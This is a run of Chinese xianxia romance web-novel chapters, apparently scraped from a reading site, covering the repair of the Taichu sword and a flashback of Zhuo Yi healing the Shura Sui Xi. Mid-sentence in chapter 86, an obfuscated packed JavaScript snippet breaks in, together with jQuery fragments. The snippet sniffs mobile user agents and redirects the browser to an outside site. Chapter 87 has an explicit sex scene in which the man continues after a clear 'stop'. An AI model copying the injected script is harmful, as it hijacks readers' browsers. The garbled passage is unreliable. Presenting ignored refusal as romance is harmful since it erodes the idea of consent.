两人一时无言,各怀心事地吃着一分为二的肉馒头。 常奉眠率先开口,“寂满,今夜无风,天上的月亮和星星多吗?” “啊?”寂满从肉馒头中抬起一双发红的双眸,接着闷闷地应了一声,他抬眸看向夜空,“好,很好看,也有星星也有月亮。” 常奉眠笑着说:“寂满,你真是一个好蛟龙,等我眼睛能看见时,让我好好看看你的真身吧,我长这么大还没有见过黑色的大蛟龙呢。” 寂满闻言喜笑颜开,重重地点了点头,“好,到时候一定要你看看我的真身,很威风的!” 【客栈姜芜房间】 宿凌薇风风火火地闯了进来,发髻散乱,在姜芜惊讶的目光下,不管不顾地饮下多杯烫口的热茶。 “实在是欺人太甚!百衢那个狗东西!”宿凌薇愤愤不平地说,“什么玩意,凭什么他能当修罗王,他是什么东西?凭什么那样说话?” 姜芜也多少知晓了百衢会说出怎样的话,她放下手中的茶杯,将一个包裹推到了宿凌薇的面前,“这是给你的,打开看看?” 宿凌薇胸膛剧烈地起伏着,她伸手接过姜芜推过来的包裹,愠色未消地问道:“这是什么啊?” 姜芜垂眸抿茶,笑着说:“打开看看便知晓了。” 宿凌薇拆开包裹,发觉里面是一套漂亮的红色衣裙,还有她最爱的金色发饰,倏地站起身来,顿时喜笑颜开,“濯濯,这是给我的吗?” 姜芜问道:“喜欢吗?” 宿凌薇点了点头,双眸发亮,“喜欢,我可太喜欢了,这衣服可太漂亮了。” 姜芜说:“那便不要再生百衢的气了,不值得。” 宿凌薇听到百衢的名字便冷下了脸,“谁让他不是个好东西呢!不要再跟我提他!今夜我要穿着你送我的衣裳,去并州最大的酒楼里喝酒!濯濯,你要不要跟我一起?” 姜芜摇了摇头,将茶杯放到桌上,起身关好窗户,“不了,我要休息了,已经很乏累了。” 宿凌薇将衣裳放回包裹里,有些遗憾地说:“也是,你一定要多多注意,近期便不要再动用戾气了,好好养伤。” 姜芜轻轻地应了一声,随后将宿凌薇送出了门,她挥灭了烛火,坐在窗前看着储存着睢羲记忆的光球,施力捏碎。 “原来,在你眼里这是我们最初相遇的时候。” “大人,求求您,救救他!” 85. 求救 “大人,求求你救救他!” 濯漪迅速拎着药筐起身,看着一年轻男子扑倒在院中,而他的身上背着另一个浑身血污、不省人事的男子。 “发生何事了?” 濯漪放下手中的药筐,正准备上前查看男子的伤势,却被一旁的药童扯住了手。 “濯漪别过去,那两个是修罗,很危险的。” 周围看病的凡人听闻来得是两个修罗,立刻退避三舍,议论纷纷地看着二人。 百衢抬眸看向濯漪,祈求道:“求求你,救救他。他被疯癫的修罗所伤,快不行了,他伤好之后,我们立刻走,在此期间,我们绝对不会伤及无辜。” 药童扬声道:“二位大人现下不在,你们改日再来吧。” 百衢蹙眉,声音急促地说:“有没有伤药可以吊命?救救急吧。” 药童说着便拿起扫帚来赶人,“没有没有,就算有也不给修罗用,你们死了这条心吧。修罗而已,死了便是死了,没什么好可惜的,这里可是大人的地盘,不要在此撒野,不救便是不救。” 百衢护着睢羲,防止碎屑和扫帚落在后者的身上,他目光狠厉地抬眸看着药童,随即发狠用戾气将其震开,虚空将后者掐在了手中,“我是听说这里一视同仁,所以我们才来的,大家都是降生在这个世界上,都有好坏之分,凭什么你便认定我们是坏的?若是不救他,我便杀了这里所有人!” 药童挣扎着蹬起了腿,面色因为缺氧而涨红,嘶声道:“快跑啊……快跑啊……修罗杀人了……” 濯漪面色担忧地看着药童,出声制止道:“不要杀人,我可以救他。” 百衢倏地看向濯漪,质问道:“你是谁?当真救他?” 濯漪点了点头,跑进房间内背了药箱出来,又提了一卷兽皮,“这里不方便,他们都害怕你们,你背上他跟我去个地方吧。” 药童捋着脖颈顺气,瘫坐在地上,出声制止道:“濯漪,不要去啊,危险!” “没事,我去去便回,母亲若是提早回来了,你帮我同她说一声,让她别担心。”濯漪见百衢背上了睢羲,招了招手示意他跟上,“跟我来吧。” 百衢背上睢羲,眼神恶狠狠地瞪了药童一眼,转身跟上了濯漪的步伐。 濯漪带着百衢穿过一片草地,跨过小溪流,在后者不耐烦之前,将二人带到了一处山洞中。 “这里安静无人,很适合疗伤的,先让我看看他的伤势吧。” 濯漪将药箱放在石床上,将兽皮铺在其上,阻隔石床上的寒气,让百衢将睢羲放在石床上,“方才听你说,他是被疯癫的修罗伤成这样的,为何不会自愈呢?” 百衢摇头,神情狐疑地看着濯漪,“我也不清楚,再多的戾气送入他的体内,也如同泥牛入海一般,根本无用,而且会让他的鲜血越流越多,你能不能治好他?” 濯漪切着睢羲的脉,察觉到他的脉象紊乱,从药箱里取了保命的丹药抵进了他的口中,“只能说先看看,不会我会尽全力的。” 濯漪抬手施了一道净身咒,清洗着睢羲身上的血污,用剪刀将其身上的衣服剪开,露出了大大小小无法愈合的伤口,横贯在肌理分明的躯体上,有些深伤甚至能看到内脏。 净身咒清干净了睢羲身上的鲜血,伤口中又重新流出新的血液,源源不断,根本无法清洗干净,很快将黄白色的虎皮染至深红,腐蚀至破损。 百衢见状,急切地说:“你快给他治啊,他流血要流死了。” 濯漪满头热汗地看了百衢一眼,双手因为沾了睢羲的血而布满创口,她见伤口无法凝血,随后用法术配合着止血的丹药疗伤,效果却不佳,虽然不像百衢说的那般严重,但是效果甚微,比不得流血的速度。 濯漪见状只能着手缝合伤口,她取了丝线和银针,“你可以帮忙按住他吗?我现下要将他的伤口缝合起来。” 百衢半信半疑地看着濯漪,“管用吗?你有多大把握?你确定丝线不会被他的血液所腐蚀?你若是救不好他,我便杀了你,再杀了那里所有人!” 濯漪引好了线,并不理会百衢的质疑和威胁,预备先从睢羲手臂上的伤口缝起。 “先止住他的血,保住他的命再说。” 睢羲朦胧地睁开双眸,一把按在了濯漪的手腕上,力气极大,仿佛要捏碎她的手腕。 濯漪顺着睢羲的手臂望进他的双眸中,在此之前她未曾见过修罗一族,只是听人说其长相貌美,但性格暴戾,不好相与,若是遇到了尽量避开行走。 今日,濯漪见到了两个修罗,确实如人所说的那般,她从未见过长相如此俊美无俦之人。 百衢扶起睢羲,握着他的肩膀晃了晃,催促道:“睢羲,别这样,松开她的手,她在给你治伤。” 睢羲意识一片混沌,不言不语地垂眸看着濯漪,额发顺着扫着他纤长的睫毛,双眸幽深如潭水。 濯漪看着自己的手腕被捏至变形,痛到不自觉地发抖,手上的疮口更是被挤压到流出血水,她见百衢的劝解无用,只能温声安慰睢羲,“我在帮你缝合伤口,你身上的伤很严重,让我帮你治伤好吗?” 濯漪抬眸看向睢羲,随后伸手覆在了后者捏在自己腕子上的手,轻轻地在其穴位上按揉了几分,睢羲便乖乖地松了手。 濯漪迅速拿起银针,动手缝合起睢羲身上的伤口,口中念着咒语附着在丝线上,抵抗着睢羲血液中的腐蚀性。 临近晌午,烈阳高照。 濯漪将洗好的兽皮晾晒在草地上,有些惋惜地看着上面被腐蚀出的几个洞口,她坐在一旁按揉着自己酸痛的手臂,这才顾得上往泡得发白的疮口上抹药。 睢羲血液中的腐蚀性相当强悍,以至于濯漪根本无法自愈,只能借助于外力。 清凉的药膏涂抹在皮肤破损的地方,刺激得疮面开始发红,濯漪吹着手上的伤口,让药膏尽快干透,她看着自己的衣裳也沾染了血迹,腐蚀得不成模样,便想着尽快回去换身衣裳。 “谢谢你救我。” 濯漪闻言抬头,发觉睢羲已经清醒过来并走出了山洞,墨发凌乱地垂在身侧,身上裹着蔽体的麻布衣,裸露在外的皮肤爬着一条条不合时宜的缝合疤痕,好在脸上没有伤痕,眉眼秾丽,鼻梁挺直,只是饱满带翘的双唇上没有一丝血色,苍白又干瘪,看起来多少有些煞风景。 “你醒了?” 濯漪起身搀扶着睢羲坐下,叮嘱道:“现下还不适宜多走动,要静养,不过幸亏你是修罗,否则恢复得不会如此之快。” 睢羲有气无力地摆了摆手,“无事,我只是现下有些无力。” 濯漪抬起手臂贴着睢羲的额头试了试他的体温,随后又取了一颗小药丸递给他,“你的朋友说有要事需处理,所以你只能暂时先待在这里了。虽然这里灵气充沛,但是你的身体虚弱到了极致,过强的戾气反而不适合你养伤,待在这里应该比你待在无幻之境要好很多,至于后续我会请母亲过来,看看是否能让你痊愈。” “叨扰你了。”睢羲服下药丸,“我是修罗,你不怕我吗?” 濯漪如实道:“怕啊,你朋友说若是治不好你,便要杀了我们所有人,好在你挺过来了。” 睢羲气若游丝地说:“那是你的药好,医术高明。百衢的事情,我很抱歉,他性格如此,你不要往心里去。” 濯漪见状勾唇笑着说:“原来你朋友叫百衢啊,你呢?你叫什么?” “睢羲。” 濯漪在唇齿间回味了一番这个名字,伸手到睢羲面前,“这两个字要怎么写?” 睢羲先是不解地抬头看了濯漪一眼,看着一只细长白皙的手上毫无完肤,全是被腐蚀过的痕迹,心中顿时有些过意不去,随后又用手指在她的手心里写下自己的名字,尽量避开她的伤口,“这般写。” 濯漪半靠进睢羲的怀中,就着他写字的手托起了他的手背,选择了伤口不多的小指,认认真真在他的手心里写下自己的名字。 睢羲顿时觉得像是阳光撞进了怀中,温暖又沁香,柔软的指腹在他掌心中随着笔画而滑动,有些痒。 濯漪写完后转头看向睢羲,笑着说:“我叫濯漪,记住了吗?” 睢羲神情严肃地点了点头,“嗯,记住了,濯漪。” 濯漪见状,神情十分满意,脸上的笑意更深,“我现下要回去了,午饭你有想吃的吗?一会可以给你带来。” 睢羲摇了摇头,“我是修罗,不需要进食的。” 濯漪板起脸,义正言辞地说:“你现下是病人,是伤者,若是不吃东西,恢复得会很慢,所以必须要吃东西,而且现下也并非在无幻之境并没有那么多戾气供你使用,而且你现下也无法使用戾气,这样缝合好的伤口会崩坏,一切便是无用功了。” 睢羲沉思了片刻,随后抬眸看向濯漪,“那便什么都可以,我不挑。” “好。” 【并州城凛月楼】 并州城内有名的酒楼便是凛月楼,每年年初都会举办一些耳目一新的宴会,引得达官贵人纷纷前往一睹为快。掌事是个性格怪癖之人,不企图结交皇亲国戚,也不趋附各大修真门派,帖子送得毫无规律,也不阻止帖子私下交易,有时掌事可能在大街上看某位顺眼,随手便将帖子送了出去,扬言只管宴会之夜,酒好菜好,有美人,声乐动耳,其余的一概不归他管。 久而久之,凛月楼的宴会成了攀高接贵、一步登天的捷径之处。 此时,凛月楼内一片昏暗,只点了几盏营造氛围的蜡烛,四下座无虚席,各路朋友济济一堂,只不过今年所有人面上都戴着用于遮面的面具。 小台高处的牡丹怦然绽放,花瓣纷纷而下,落台下四周的流水之中,几条缎带随花瓣垂下,宿凌薇一身舞娘红装,面上戴着遮面的轻纱,随着古琴的声音缓缓落下。 宿凌薇未束发髻,卷了墨发垂放至腰间,金色的额饰随着她的舞姿轻微的晃动着,红色的 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烛九阴勾唇一笑,捏着酒杯也从雅间飞身至小台上,“因为他们都不如我主动。”说完,他仰头喝干杯中的酒,揽着宿凌薇的腰将其抱在怀中,隔着薄纱将酒渡了过去。 宿凌薇美眸一怔,笑着点住了烛九阴的唇峰将其推远,“公子如何称呼?” “卓龙。” 宿凌薇笑着推开烛九阴,“卓龙吗?我看着登徒子吧。”说完,她便旋身进入昏暗之中,身影消失不见。 烛九阴挑眉,扔开手中的酒杯,抬步追了过去。 【客栈姜芜房间】 姜芜睁开双眸,逐渐从美梦的沉寂之中苏醒过来,她无意识地看着床幔,伸手往旁侧摸索了片刻,随即缓缓地坐起身,心绪杂乱。 姜芜简单地洗漱了一番,穿了件披风在身上便前去敲商扶庭的门。 段怀野衣衫不整地拉开房门,中衣大开,一头银白色的长发睡得凌乱不堪,他揉着眼睛说:“这么早吗?” “已经很晚了,我在楼下等你,快一些。”说完,姜芜便转身下楼,找店小二点了份早饭,食不知味地填着肚子。 段怀野快步走下楼,看着姜芜低头在吃一碗阳春面,抬手也让店小二煮了一碗。 “你怎么还是这么喜欢吃东西?” 姜芜面无表情地说:“因为饿,我现下胃口刁了,不吃饭会不习惯的,吃不好也会不习惯的。” 段怀野蹙眉,神情有些不悦,欲言又止地看着姜芜,最终也没有说任何话。修道者辟谷是为了消除杂念与负面影响,怕五谷杂粮的后天之气打乱体内先天一炁。所以,他并不赞同姜芜这种一日三餐顿顿不落的习惯。 姜芜填饱了肚子,静静地看着段怀野吃完面,随即拿起油纸伞起身向外走去。 段怀野见状立马跟上前,调侃道:“急什么?着急去见他吗?” 姜芜面不改色地撑开伞,斜斜地睨了段怀野一眼,“你说我着急见他做何事?” 段怀野轻笑一声,“姜芜,你骗骗他们便算了,还想着骗我吗?” 姜芜收回视线,面若寒霜地说:“等修完太初剑,补完无幻之境的结界,你便赶紧离开商扶庭的身体,让他回来。” 段怀野探头去看姜芜,“是觉得他更好骗吗?我觉得封印无幻之境的办法不妥,弊端很多,还是你说的那个法子好,在无幻之境和大荒之间设立一条可输送戾气的通道,这样的话可以神木不会枯萎,无幻之境的破损处也可以有灵气侵入,延缓修罗疯癫病的发作,一举好几得。” 姜芜蹙眉,她停下脚步,面色凝重地看着段怀野,“你是何意?” “我的意思是你之前同商扶庭说的那个法子很好……” 姜芜抬手打断了段怀野的话,“不是这个,灵气可延缓修罗疯癫病的发作是怎么回事?” 段怀野挑眉,“你不知晓此时?在无幻之境被封印的三百多年里,经常有些非常年轻的修罗会被疯癫缠身,但是近十年,封印松动,灵气入侵,这种症状却缓解了不少。或许,灵气也是缓解疯癫的关键。若是真把封印补起来了,里面的修罗便真的只能等死了。像是宿凌薇,百衢等等,越强大的修罗,疯得越早,还包括睢羲。” “是吗?”姜芜看向段怀野,眉毛微挑,“包括睢羲吗?” 段怀野脸上笑意更浓,“对,不包括睢羲,他可能在疯之前便死了。” 姜芜也跟着笑了起来,“先关心关心你自己吧,你最好期望我今天能打过百衢,否则先死你是你哎。” 段怀野毫不在意地摇了摇头,“姜芜,你真的能打得过百衢吗?” 姜芜目光一凛,如实道:“打不过,你等死吧。”说完,她便转身向镇外走去。 段怀野立刻快步追了上去,笑着说:“姜芜,好歹我们这么久未见,你能不能不要对我这么冷淡,我们之前不是这样的。” 86. 死局 段怀野同姜芜一前一后穿过结界进入无幻之境,漫天黄沙扑面而来,阻挡了二人前行的脚步。 姜芜收起手上的油纸伞,抬袖遮挡着肆虐的黄沙,只觉得吹得骨缝都发冷,她丝毫不客气地说:“段怀野,帮我撑个结界挡风沙。” 段怀野蹙眉,反问道:“你自己不会吗?” 姜芜说:“我带你来是做何事的?一会我同百衢打起来,让你在旁指点战局吗?” 段怀野神情有些无奈,连说了几个好字,然后抬手给二人撑了一方地方风沙的结界。 “还满意吗?” 姜芜四下扫了几眼,神情随意地说:“马马虎虎吧。” 段怀野闻言顿感不悦,“姜芜,你别吹毛求疵,谁能忍受你那些臭毛病?又要这样又要那样的。” “我让你忍受了吗?段怀野,这么久不见,你脾气见长啊。”姜芜一脸戏谑地看着段怀野,“撑个结界而已,本来撑得就是马马虎虎啊,你以为现下还是你的鼎盛时期吗?” 段怀野皮笑肉不笑地看向姜芜,“你也知晓我现下不是鼎盛时期啊,还让我撑结界?我看你就是故意刁难我。” “随你怎么想。” 姜芜笑着睨了段怀野一眼,随后往修罗一族的祭台处走去,当年段怀野为屠杀修罗炼成太初剑,特意在此修建了一处祭台,现下修复太初剑也应当在这里。 姜芜看着那方祭台,看着上面受风沙侵蚀过的痕迹,心绪复杂,万物有始有终,从此处开始也应当从此处结束,而结束又会有新的开始。 段怀野四下看了看,并未发现百衢的踪迹便开口问道:“百衢何时来?需要我送你一些困制修罗的符咒吗?” 姜芜反问道:“你的符咒确定不会将我也困制住吗?” 段怀野满不在乎地问道:“你还怕这个?” “太初剑拿来。” 段怀野从纳戒中将断成两截的太初剑取了出来,“要放在何处?” 姜芜伸手按在了胸口的位置,颐指气使地扬了扬下颌,“祭台上,然后你藏起来,我要让百衢过来,千万别让他发现你。” 段怀野神情冷淡地应了一声,“知晓了,你就折腾我吧,怎么说我也是人物,怕他不成?” “管你是英雄还是狗熊?现下都要听我的。”说完,姜芜上前将太初剑拼好,看着段怀野寻了处避风地躲好,才施法引着心口的噬魂骨钉。 姜芜的神色因此万分的痛楚而变得苍白,剥离睢羲重新炼化的噬魂骨钉应当是个复杂的过程,但是她现下没有那么多的时间去研究,一边用蛮力向外拔着噬魂骨钉,一边吸纳着无幻之境内的戾气来修复断裂的心脉。 黄沙聚集在姜芜的周身,随着奔涌而来的戾气形成一道通天彻地的龙卷风,搅碎段怀野所布下的挡风结界,她的衣摆随着狂风毫无规律的四处翻飞。 噬魂骨钉离体的一瞬间,姜芜口吐鲜血,周身的戾气瞬间大涨,一切束缚全都不复存在,不等黑红色的戾气铺陈开来,血契反噬的锥心之痛率先将她击倒。 “姜芜!” 姜芜扶着祭台起身,透过视线中的血色看向身影模糊的段怀野,随即抬手以戾气画线,隔开两人之间的距离。 “别过来!” 姜芜垂眸稍作喘息,继续用体内的戾气修复太初剑,黑红色的戾气铺陈开来,凭空托起太初剑,并纠缠于其上。 段怀野质问道:“不是说百衢会来吗?姜芜,你居然骗我!” 姜芜抬眸看着太初剑上的裂痕,她并不清楚自己体内的戾气是否能够用,只能以自己的身体为凭借,大量地吸纳着无幻之境的戾气,再输送到太初剑上。 睢羲和百衢察觉到异样赶来。 “她是疯了吗?好不容易折断的太初剑,现下又要耗费戾气修补?”百衢看向睢羲,“时至今日,你还是不明白吗?还要如此待她如从前一般?睢羲,醒醒吧,别傻了,姜芜是姜芜,濯漪是濯漪,濯漪已经死了,回来的只有姜芜!是那个心中只有人族的姜芜,哪怕她心中有你,也要排在人族之后,她不值得你为她做的一切。” 睢羲静静地看着姜芜耗费戾气去修补太初剑,心绪瞬间沉了下去。 百衢见睢羲不为所动,继续劝说道:“睢羲,太初剑若是修补完成了,姜芜必死无疑,你还是不打算出手吗?而且你看那是谁!” 睢羲顺着百衢所指的方向看去,漫天黄沙,铺天盖地,段怀野的银白色长发格外的刺目。 太初剑复原在即,只差最后一步。 姜芜感觉到自己的经脉开始干瘪,她不确定自己停手后会不会立刻死亡,她转头看向段怀野,轻轻地笑了起来,“答应我,想方设法,留他一命,治好他身上的伤。” 段怀野轻斥一声,他看着姜芜面上的笑容心如刀绞,“姜芜,你个口是心非的女人,你这是在要挟我?” 姜芜无奈地摇了摇头,轻声解释道:“不是要挟,我帮你修复太初剑,是你欠我人情,剑在人在,剑断人亡,这相当于我救了你一命,你也留他一命,这很划算。你不是知晓天书第四卷内容吗?还能这么轻而易举地被我骗?你是故意的呢,还是真的不知晓?” 段怀野厉声道:“天书第四卷内容海了去了,我怎可能件件都记住?” 姜芜苦笑着说:“我看过玃如给的未来,他活下来了,所以我要设计好所有能让他活下来的路,我不允许我看到的未来有所改变,你也不能更改。” 段怀野神情一愣,心海翻腾,接着仰首狂笑了起来,他双眸猩红地看着姜芜,字字泣血,“你这个疯女人,口口声声说恨他,也让他恨你,结果呢?将他推远对你自己有什么好处?你既然这么痛苦,为何不放弃他?我们才是命中注定。” “你这么笨,你都明了的事情,你以为他会不知晓吗?他不会允许我这么做的,但我必须要这么做。”姜芜神情悲悯,“万事万物天生地长,若你这般说,你应该同天书中记载的所有都是命中注定,不单单是我。” 段怀野合眸,他想起自己在天书中看到的种种,特意把“姜芜”二字改为“姜妩”,想看看是否能更改既定的东西,也想看看他能否从书中爱上的小春神白头偕老。 姜芜嘲笑他段怀野过于的信奉天命,又怎知他曾反抗过未来,可最终都只是徒劳。 段怀野唯一成功的事情便是三百二十八年前,他自作主张换了姜芜一命。 姜芜抬眸看向往此处袭来的睢羲和百衢,操控着完好无损的太初剑挡在了二人的身前,她神情眷恋地看着睢羲,随即卸力瘫倒在地。 太初剑飞去黄沙中,斜立在沙丘之中,逼停了睢羲和百衢的步伐。 睢羲垂眸看了一眼完好无损的太初剑,面上丝毫不惧地朝姜芜走去。 段怀野见状,立刻抬手召来太初剑,挡在姜芜身前,厉声道:“停下!你怕是没命再吃太初一剑了。” “那你的下一次复活要再等多久?”睢羲直接越过段怀野朝着姜芜走去,他俯身神情复杂地看着姜芜,随后抬手擦去她唇上的鲜血,“姜芜,真狼狈啊。” “是吗?” 姜芜垂着眼眸,抬手扶着祭台起身,随后缓慢地朝着段怀野走去,柔柔地笑道:“剑修好了,我们走吧?” “好。” 百衢见状立刻挡在二人面前,“你们当无幻之境是什么地方?想来便来,想走便走?为难也太看得起自己了吧?” 段怀野问道:“你欲如何?” 百衢勾唇邪笑,“我想请教太初剑的威力!”说完,他便运起戾气朝着段怀野攻去。 段怀野见状立刻推开姜芜,手持太初剑迎了上去。 姜芜脚步虚浮,直接落入睢羲的怀抱之中。 睢羲俯身把姜芜抱了起来预备离开,却见她不停地呕血,不得已只能坐在沙地上,让她靠在自己的怀中。 姜芜将一颗丹药吞下,终于有空闲同睢羲叙旧,她擦干净唇上的血,长长地舒了一口气,抬眸看着睢羲,勾动起唇角,露出一个浅浅的笑容,“最近在无幻之境内可有好一些?” 姜芜身上有些害冷,能用的力气并不多,或许血契也在可怜她,见她一副朝不保夕的模样,连睢羲靠得她如此之近都没有再发作。 睢羲问道:“难道你不希望我心脏腐烂干净而亡吗?” 姜芜有气无力地摇了摇头,“我不希望,现下段怀野回来了,便更不会了。” 段怀野摆脱掉百衢,看着姜芜靠在睢羲怀中的模样,妒意横生,出剑朝着睢羲的后心刺了过去。 姜芜见状立刻推开睢羲,伸手握住了太初剑的剑锋,她看着段怀野,眼泪滚滚而落,“段怀野,你不守信用。” 段怀野看着姜芜的鲜血顺着锋利的剑身滴落,立刻收了太初剑,“你到底要如何?你要违抗天命吗?” “对,我不能让我所做的一切前功尽弃。”姜芜垂眸看着自己的手心,皮肉生生破开的疼痛蔓延开来,她疼到颤抖却发觉伤口中只能挤出一两滴鲜血,“谁也不能阻止我,你也不能,他也不能,我自己也不能。” 段怀野拢着眉心收起太初剑,然后朝着姜芜伸出了手,“姜芜,跟我走。” 姜芜轻轻地点了点头,她撑起自己的身体,踉踉跄跄地站了起来,“好。” 段怀野见状,只觉得鼻尖一酸,转身平复着呼吸,他不敢再去看姜芜,抬脚往无幻之境外走去。 睢羲起身将身上的披风脱了下来,他快走几步,将手中的披风罩在了姜芜的身上,俯身将她抱了起来。 “我不拦你,我送你出去。” 姜芜神情一愣,随即伸手环住了睢羲的脖颈,偏头靠在他的怀中,汲取着他身上的温度,“睢羲,你还是这么暖和,真好。” 百衢欲言又止地看着三人前后脚离开,最终只是重重地叹了一声,“痴儿啊。” 段怀野回头看了一眼二人,不言不语地在前面带路,将睢羲带回了几人落脚的客栈。 雾沅三人正坐于客栈一楼喝茶,讨论着三妖的踪迹,见三人陆续进门,立刻同寂满神情警惕地站了起来。 常奉眠也察觉到了不对劲,摸索着伸手扯了扯寂满的衣袖,“寂满,发生何事了?” 寂满看到睢羲后神情大惊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15639129|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬手将常奉眠挡在了身后,质问道:“你居然还活着?那场大火居然没把你烧死,来做何事?” 雾沅也是颇为地震惊,随即想起当日的情景,睢羲死亡的信息是姜芜提供的,再加之当时情况紧急,姜芜又情绪不佳,所有人自然而然地接受了睢羲已经死亡的事实,但是现下看来并非如此,姜芜又轻轻松松地骗过了所有人。 睢羲斜睨了寂满一眼,随即抱着姜芜往二楼走去。 寂满定睛一看便发觉了猫腻,他暗骂了一声,立刻便打算追上去。 段怀野伸手将寂满拦了下来,“不必上去了。” 寂满一边推搡着段怀野,一边指着往二楼客房走的睢羲,“姜芜为何在他手中,小道士你脑子被狗吃了啊,为何把姜芜教给他?万一他要对姜芜不利怎么办?还有他到底是怎么复活的?” 段怀野拦着寂满,“所有人都会对姜芜不利,唯独他不会,你放心好了。” 雾沅闻言看向段怀野,随即双眸一凛,“你不是商扶庭。” 寂满回头看了雾沅一眼,随即立刻从段怀野的身侧跳开,神情警惕地问道:“你到底是何方妖魔鬼怪?” 段怀野挑眉,抬眸对上雾沅的目光,笑意沉沉,“蝶妖,你很厉害,居然能看出我不是商扶庭。” 雾沅质问道:“你是谁?” “段怀野。” 睢羲抱着姜芜打开房门,先是扫视了一眼简陋的房间,随即眉心狠狠地一跳,他抱着姜芜去了里间,施法让浴桶浸满热水,将随身携带的一小瓶天河之水倒入其中,伸手解开姜芜的衣裳,将她浸泡入热水中,取了干净的帕子仔细地擦着她脸上的血迹。 姜芜觉得身体逐渐回温,她缓缓地睁开双眸,看着面前的睢羲。 睢羲见状伸手拂开姜芜脸上的湿发,“你还有不舒服的地方吗?” 姜芜伏在浴桶的边缘,轻轻地摇了摇头,目光灼灼地看着睢羲,片刻后才伸手卷起了他身前的一缕黑白交杂的长发。 姜芜濡湿的手指捻开手中的发丝,数着其中有几根白发又有几根黑发,却发觉根本数不清,她垂眸将眼泪擦在手臂上,抬头面色如常地看着睢羲,“睢羲,你该回无幻之境了。” 睢羲沉默着,他静静地看着姜芜,随即缓缓起身,千言万语化轻了气若游丝的一句。 “好。” “等等。” 姜芜从浴桶中起身,试探地问道:“睢羲,可否再给我一些戾气用?” 睢羲垂眸看着近在咫尺的姜芜,目光落在她不似往日般红润的双唇上,片刻后将体内的戾气释放出来供姜芜汲取。 姜芜见状微微启唇,一言不发地扯过睢羲的衣襟,犬齿没入他饱满的双唇中,不舍得用力咬,只是轻轻地研磨,“恨我吧,睢羲,恨我吧,我做了太多错事了,已经回不了头了。” 睢羲扼住姜芜的脖颈,抵开两人之间的距离,他面上流露出一丝的不解和痛苦,“恨你,会让你觉得好受吗?” 姜芜笑着点了点头,“你要替柏雨来恨我,恨我救了她又将她推向了死亡,你也要来恨我,如果不是我,你也不会到今日这种地步。这些加起来,一桩一件,还不够你来恨我吗?睢羲,别傻了。” “仅仅如此吗?” “仅仅如此。” 睢羲蹙眉,满目恨意地看着姜芜,扼着她的脖颈将她拉近,“你便这么想死?连我折断的太初剑,你也要拼命修复?” 姜芜语气坚定地说:“为天下大义,死得其所。” 睢羲闻言嗤笑一声,他松开姜芜,转身离开了房间。 姜芜合眸一笑,很满意睢羲最后的眼神,她从浴桶中迈出,用帕子擦干了身上的水珠,往酒壶中兑了一滴幻梦水,以酒代水来解渴。 睢羲缓步从二楼走下,他扫了一眼围坐在一起的四人,随即改变行进方向朝着段怀野走了过去。 段怀野起身看着睢羲,面色平常地问道:“她稳定下来了?” 睢羲不语,只是张开手指,让若木之根浮现在众人面前。 寂满大惊,“若木之根?!你要给我们?” 段怀野看着睢羲手中的若木之根,眉毛微挑,“怎么?她没留你,就这么让你走了?” 睢羲蹙眉,接着翻掌捏碎手中的若木之根,随即转身走出了客栈。 寂满一脸惋惜地看着化为齑粉的若木之根,“暴殄天物啊!不愿意给我们也不要损坏啊!神树的根多么的珍贵啊!” 段怀野嗤笑一声,毫不在意地旋身坐回桌前,“幼稚。” 寂满问道:“没有若木之根,要如何封印无幻之境,姜芜身上的血契该如何解?完不成血契上的条约,她不是必死无疑?你不是段怀野吗?你肯定能救姜芜吧,那可是你们五行道宗的血契啊。” 段怀野仰头饮下了一杯凉茶,压制了一番心头翻滚的怒火,“不必需要那些,姜芜自会解决。” 雾沅不解,“何意?” “娲皇义女,德高福厚,以身补天,救济万灵,受命于天,允重塑其身,特封春神。”段怀野反问道,“需要我给你们讲一个故事吗?” 87. 石头 姜芜捂着酸痛的小腹,气息断断续续,“停……停下……” 睢羲闻言不但没有停,还越发地变本加厉,他伸手拂开姜芜脸上汗湿的头发,托着她的后颈,深吻着她的双唇。 姜芜伸手推开睢羲,抬手拍在他的脸上,怒目道:“我说停下,你没有听到吗?” “听到了。” 睢羲放缓动作,或重或轻地揉捏着姜芜的身体,俯身咬着她凸起的锁骨和脖颈,舔舐掉她胸前伤口渗出的血丝。 姜芜一脸不悦地推搡着睢羲,“听到了为何不停下?” “我只是听到了,不代表我同意。” 睢羲说完,起身把姜芜翻过,重新覆了上去,双手扣进她的手中,蹭吻着她的侧脸。 姜芜难耐地抓紧了手下的布料,连带着夹紧了睢羲的手指,灼热的呼吸喷洒在她的肩颈处,她抵在睢羲的怀中,耳边全是两人粗重的喘息声。 唇齿挨得过近,空间或许狭小,姜芜平白无故生出了一种窒息的感觉。 “好多次了,休息一下,好不好?我想喝水。” 姜芜抬眸看着睢羲,睫毛濡湿,连带着双眸也是湿漉漉的,她讨好地吻着睢羲的脸颊和双唇。 睢羲松开姜芜的手,捧着她的脸,吮吻着她的双唇,“最后一次。” 结束后,睢羲长舒了一口气,他看着姜芜的睡颜,拂开她身上汗湿的发丝,渡了些水给她,随即恶趣味地在她身上留了几个带血的牙印。 睢羲很喜欢这般咬着那些皮肉,舔着渗出来的血丝,唇舌吸吮只能解馋并不能满足他,但是姜芜不喜这般,她觉得疼,便只能作罢。 姜芜缓缓地睁开双眸,神思倦怠,还沉浸于方才的梦境之中,浑身上下泛着一股懒意,她看着平躺于身侧的睢羲,撑起身靠在他的胸前。 “腰僵了,帮我挪一下。” 睢羲闻声伸手环过姜芜的腰,将她带到了自己的身上,施力轻轻按揉着,“这样会好受一些吗?” 姜芜惬意地躺了片刻便伸手去碰睢羲的伤口,不出意外又被后者出手制止。 睢羲牵引着姜芜的手来到自己的唇边,从她的指尖亲吻到掌心,着重亲吻了几下她腕子上的手绳。 姜芜轻声抱怨道:“明明是我的梦,你为何总不让我看你的伤口?” “梦?” 姜芜点了点头,声音轻飘飘的,带着一丝娇憨,“下次我不要做这种梦了,好累。” 